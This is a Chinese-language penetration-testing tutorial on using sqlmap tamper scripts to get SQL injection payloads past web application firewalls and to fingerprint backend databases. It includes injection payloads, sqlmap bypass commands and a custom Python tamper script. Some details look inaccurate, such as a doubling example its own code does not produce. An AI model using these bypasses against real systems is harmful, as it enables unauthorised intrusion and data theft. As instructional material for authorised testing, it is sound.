一、Tamper脚本绕过WAF:核心原理与步骤
1. 核心原理
WAF对SQL注入的检测通常基于特征匹配(如关键词union select
、特殊符号'
、注释符--
等)或行为分析(如异常参数长度、特殊请求格式)。Tamper脚本的作用是通过对原始payload进行编码、替换、混淆、拆分等变形,消除WAF识别的特征,同时保证变形后的payload在数据库中仍能正常执行。
例如:
原始payload:' union select 1,2,3--
经Tamper处理后可能变为:%27%20UnIoN%20%0ASeLeCt%201,2,3%23
(URL编码+大小写混淆+换行符替换空格+注释符替换),既绕过WAF特征检测,又能被数据库解析执行。
2. 详细步骤
步骤1:了解目标WAF的拦截规则(关键前提)
在使用Tamper前,需通过测试判断WAF的拦截特征,常用方法:
- 单字符测试:向参数中注入单个字符(如
'
、"
、;
、#
),观察是否被拦截(返回403、503或异常页面),确定WAF对特殊符号的敏感度。 - 关键词测试:注入简单关键词(如
union
、select
、and 1=1
),观察是否被拦截,确定WAF对SQL关键词的过滤规则(是否区分大小写、是否拦截完整单词)。 - 长度测试:注入超长字符串,观察是否因长度异常被拦截,判断是否有长度限制。
示例:若注入'
被拦截,说明WAF检测单引号;注入union
被拦截但UnIoN
不被拦截,说明WAF对大小写不敏感,可利用大小写混淆绕过。
步骤2:获取sqlmap内置的Tamper脚本
sqlmap在/tamper/
目录下内置了数十种Tamper脚本(不同版本可能有差异),每个脚本对应特定的变形逻辑。可通过以下命令查看所有可用Tamper:
ls /usr/share/sqlmap/tamper/ # Linux系统默认路径
# 或在sqlmap运行目录执行:dir tamper (Windows)
常见Tamper脚本及作用:
脚本名称 | 作用说明(变形逻辑) |
---|---|
space2plus.py | 将空格替换为+ (URL中+ 会被解析为空格) |
space2comment.py | 将空格替换为/**/ (MySQL等数据库支持的多行注释,可替代空格分隔关键词) |
unionalltounion.py | 将union all select 替换为union select (部分WAF拦截union all ) |
charencode.py | 对payload进行URL全编码(如' →%27 ,s →%73 ) |
randomcase.py | 对SQL关键词进行随机大小写混淆(如select →SeLeCt ) |
securesphere.py | 针对SecureSphere WAF,在关键词后添加特殊字符串(如union select →union/*!50000select*/ ) |
mysql.py | 针对MySQL,添加版本注释(如union select →union/*!08000select*/ ) |
步骤3:选择并组合Tamper脚本
根据步骤1分析的WAF规则,选择对应的Tamper脚本。若单个脚本无效,可组合多个脚本(按变形逻辑顺序排列)。
使用命令格式:
sqlmap -u "目标URL" --tamper=脚本1,脚本2,... [其他参数]
示例场景:
-
若WAF拦截空格和
union select
关键词,且对大小写不敏感:sqlmap -u "http://example.com/index.php?id=1" --tamper=randomcase,space2comment
效果:
union select
→UnIoN/**/SeLeCt
(大小写混淆+注释替代空格)。 -
若WAF拦截单引号和URL编码字符:
sqlmap -u "http://example.com/login.php?user=1" --tamper=charencode,space2plus
效果:
' or 1=1--
→%27%2bor%2b1%3d1%2d%2d
(全URL编码++
替代空格)。 -
针对严格的WAF(如阿里云WAF),可组合多种变形:
sqlmap -u "http://example.com/product.php?id=1" --tamper=randomcase,charencode,space2comment,unionalltounion
步骤4:验证绕过效果并调整
- 若sqlmap提示“目标可能存在注入”但无法获取数据,可能是Tamper变形过度导致payload失效,需减少脚本数量。
- 若仍被WAF拦截,可尝试自定义Tamper脚本(见步骤5)。
- 可通过
-v 3
参数查看sqlmap发送的变形后payload,分析WAF未拦截的有效格式:sqlmap -u "目标URL" --tamper=xxx -v 3 # 详细输出payload
步骤5:自定义Tamper脚本(高级操作)
若内置脚本无法绕过,可根据WAF规则编写自定义Tamper。Tamper脚本本质是Python函数,需实现对payload的变形逻辑,模板如下:
#!/usr/bin/env python
"""
自定义Tamper:将空格替换为换行符%0a,并对关键词进行双写
"""
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW # 优先级
def dependencies():
pass # 依赖说明
def tamper(payload, **kwargs):
if payload:
# 1. 空格替换为%0a(URL编码的换行符)
payload = payload.replace(" ", "%0a")
# 2. 关键词双写(如select→sselectelect,绕过简单替换过滤)
for keyword in ["select", "union", "or", "and"]:
payload = payload.replace(keyword, keyword[:len(keyword)//2] + keyword)
return payload
使用方法:将脚本保存为custom.py
,放入sqlmap的tamper
目录,然后调用:
sqlmap -u "目标URL" --tamper=custom
二、数据库指纹识别:利用Tamper确保识别准确性
数据库指纹识别是sqlmap通过发送特定payload,根据目标响应差异判断数据库类型(如MySQL、Oracle、PostgreSQL等)的过程。当存在WAF时,原始识别payload可能被拦截,需结合Tamper脚本确保payload能到达数据库并返回有效响应。
1. 核心原理
不同数据库的语法存在差异,例如:
- MySQL支持
/*!50000select*/
(版本注释),Oracle不支持; - SQL Server使用
--
注释,Oracle使用--
或/* */
; - PostgreSQL对字符串拼接用
||
,MySQL用concat()
。
sqlmap通过发送含这些差异特征的payload,根据响应判断数据库类型。若WAF拦截这些特征,需用Tamper变形后再发送。
2. 详细步骤
步骤1:使用sqlmap默认指纹识别(无WAF时)
无WAF拦截时,直接使用--fingerprint
参数触发指纹识别:
sqlmap -u "http://example.com/index.php?id=1" --fingerprint
sqlmap会自动发送多个测试payload,输出数据库类型及版本(如MySQL 5.7.30
)。
步骤2:结合Tamper绕过WAF进行指纹识别
若默认识别失败(因payload被WAF拦截),需添加Tamper脚本确保测试payload生效:
sqlmap -u "http://example.com/index.php?id=1" --tamper=randomcase,space2comment --fingerprint
此时,sqlmap发送的指纹识别payload会经过变形(如大小写混淆、空格替换),绕过WAF后到达数据库,根据响应差异完成识别。
步骤3:手动辅助识别(Tamper仍失效时)
若自动识别失败,可通过以下手动方式结合Tamper验证:
-
注入数据库特有函数:
例如,向参数注入id=1 and (select count(*) from dual)=1
(dual
是Oracle特有表),若返回正常,可能是Oracle;若报错,可能是MySQL(需用Tamper变形避免拦截)。 -
利用版本差异:
注入id=1 and @@version>0
(MySQL特有变量),若正常,可能是MySQL;注入id=1 and version()>0
(PostgreSQL特有函数),判断是否为PostgreSQL。 -
结合sqlmap的
--dbms
参数验证:
若推测为MySQL,可用Tamper+指定数据库类型强制测试:sqlmap -u "目标URL" --tamper=mysql,charencode --dbms=MySQL
若能成功获取数据,说明指纹识别正确。
三、注意事项与合法性
- 合法性:Tamper脚本仅用于授权的渗透测试,未经授权对目标系统进行测试属于非法攻击,违反《网络安全法》等法律法规,需承担法律责任。
- WAF对抗的局限性:现代WAF(如基于机器学习的下一代WAF)可能动态更新规则,Tamper脚本并非万能,需结合其他技巧(如分块注入、HTTP参数污染)。
- payload有效性验证:变形后的payload需在本地数据库测试能否正常执行,避免因过度变形导致注入失效。